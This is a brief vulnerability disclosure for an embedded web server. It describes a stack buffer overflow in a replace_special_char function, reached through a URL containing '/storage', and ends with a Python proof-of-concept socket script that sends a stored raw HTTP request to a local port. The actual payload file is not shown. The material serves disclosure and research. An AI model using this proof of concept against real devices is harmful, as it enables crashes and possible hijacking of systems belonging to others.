Overview

Vulnerability details

1. Vulnerability Trigger Location

The vulnerability is triggered at the return point of the replace_special_char function, where the ra register is overwritten.

2. Vulnerability Analysis

• The vulnerability can be triggered by including "/storage" in the URL, at 0x412244.

• Since the return value of strncmp is 0, the following statements can be executed. acStack_1884 stores the content after the URL.

• In the replace_special_char function, the __s pointer points to local_28c, which is of size 604

• In the while loop, we keep the data in __s until it overwrites the stack, causing a stack buffer overflow

• Eventually, the replace_special_char function returns to the part that restores the register place because the stack has been overwritten by e2, eventually causing a segment error

POC

python script

import socket

# 定义目标服务器和端口
host = "127.0.0.1"
port = 80
file = "id19"
f = open(file, "rb")
# 创建socket对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接到服务器
s.connect((host, port))

# 构建HTTP请求
request = f.read()

# 发送请求
s.send(request)

# 接收服务器的响应
response = s.recv(4096)

# 打印响应内容
print(response.decode())

# 关闭连接
s.close()